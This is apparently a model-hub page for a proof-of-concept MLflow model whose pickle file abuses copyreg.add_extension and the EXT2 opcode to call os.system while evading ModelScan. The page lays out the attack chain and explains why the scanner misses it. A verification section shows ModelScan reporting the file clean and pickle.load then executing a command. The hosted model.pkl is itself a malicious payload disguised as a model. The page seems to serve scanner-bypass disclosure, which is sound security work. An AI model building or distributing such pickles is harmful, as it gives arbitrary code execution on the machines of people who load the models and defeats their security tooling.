ModelScan EXT2 Opcode Bypass β€” RCE via Pickle Extension Registry

Summary

ModelScan's pickle scanner only inspects GLOBAL, INST, and STACK_GLOBAL opcodes to detect dangerous module/function references. It completely ignores EXT1, EXT2, and EXT4 opcodes.

This MLflow model uses copyreg.add_extension() to register os.system in pickle's extension registry, then loads it via the EXT2 opcode β€” which ModelScan never examines. The result: arbitrary OS command execution with zero detection.

Attack Chain

  1. copyreg.add_extension('os', 'system', 31337) registers os.system under external code 31337
  2. EXT2 31337 opcode loads os.system from the registry β€” invisible to ModelScan
  3. REDUCE calls os.system('cmd') β€” command executed

Why ModelScan Fails

ModelScan analyzes only three opcode types:

  • GLOBAL β†’ module\nname\n
  • INST β†’ module\nname\n
  • STACK_GLOBAL β†’ walks backwards for string operands

EXT1, EXT2, and EXT4 opcodes are completely absent from the scanner code. The dangerous os.system reference is loaded through the extension registry and never appears as a module/name pair in the opcode stream.

Verification

# ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! πŸŽ‰

# pickle.load() triggers RCE
python3 -c "
import pickle
with open('model.pkl', 'rb') as f:
    pickle.load(f)
"
# Output: EXT2_PWNED

Impact

  • Severity: Critical (CVSS 9.8)
  • Novel technique: Not covered in any known CVE, GHSA, or security advisory
  • Remote, no auth needed, no user interaction
  • Scissors past all unsafe_globals restrictions
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support